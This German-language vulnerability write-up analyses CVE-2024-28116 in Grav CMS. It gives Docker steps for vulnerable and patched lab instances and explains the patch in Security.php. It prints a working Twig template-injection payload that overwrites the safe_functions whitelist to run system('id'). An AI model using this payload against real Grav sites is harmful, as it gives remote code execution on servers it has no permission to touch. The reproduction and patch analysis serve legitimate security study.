
Analyse und Docker-Reproduktion von CVE-2024-28116 - SSTI mit Sandbox-Bypass in Grav CMS
Analyse und Docker-Nachstellung von CVE-2024-28116, einer Server-Side-Template-Injection-Schwachstelle mit Umgehung der Sicherheits-Sandbox in Grav-CMS-Versionen bis einschließlich 1.7.44, behoben in Version 1.7.45.
Gemeldet von: Maurizio Siddu (akabe1)
CVSS-v3.1-Score: 8.8 (Hoch)
Behoben in: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Öffnen Sie Ihren Browser unter http://localhost:8080/admin und erstellen Sie beim ersten Zugriff ein Administratorkonto.
http://localhost:8080/admin als Editor an.test page und klicken Sie auf Continue.{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-page.Dies bestätigt die Remote Code Execution als Webserver-Benutzer.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Öffnen Sie Ihren Browser unter http://localhost:8081/admin und wiederholen Sie alle oben genannten Exploit-Schritte, diesmal mit dem Ziel http://localhost:8081/test-page.
Die Seite bleibt vollständig leer. Die Methode cleanDangerousTwig() in Security.php erkennt und blockiert die Direktive twig.safe_functions, bevor sie die Twig-Engine erreicht. Die Whitelist wird nie modifiziert und der Befehl nie ausgeführt.
Die Schwachstelle befindet sich in system/src/Grav/Common/Twig.php. Grav implementiert eine Sandbox, die verhindert, dass gefährliche PHP-Funktionen in Twig-Templates aufgerufen werden. Sie basiert auf einer Blacklist, die von isDangerousFunction() geprüft wird. Die Sandbox schützt jedoch nicht das Twig-Objekt selbst. Ein Benutzer auf Editor-Ebene kann über manipulierte Template-Direktiven mit dem Twig-Objekt interagieren und die Whitelist system.twig.safe_functions zur Laufzeit überschreiben. Sobald eine gefährliche Funktion wie system() zur Whitelist hinzugefügt wird, wird die Sandbox-Prüfung umgangen und die Funktion kann ungehindert ausgeführt werden.
Der Patch fügt 'twig.safe_functions' zur Liste der blockierten Muster innerhalb der Methode cleanDangerousTwig() in system/src/Grav/Common/Security.php hinzu. Jede Direktive, die diese Zeichenkette enthält, wird neutralisiert, bevor sie die Twig-Engine erreicht. Dadurch ist es einem Editor unmöglich, die Whitelist aus einem Template heraus zu modifizieren.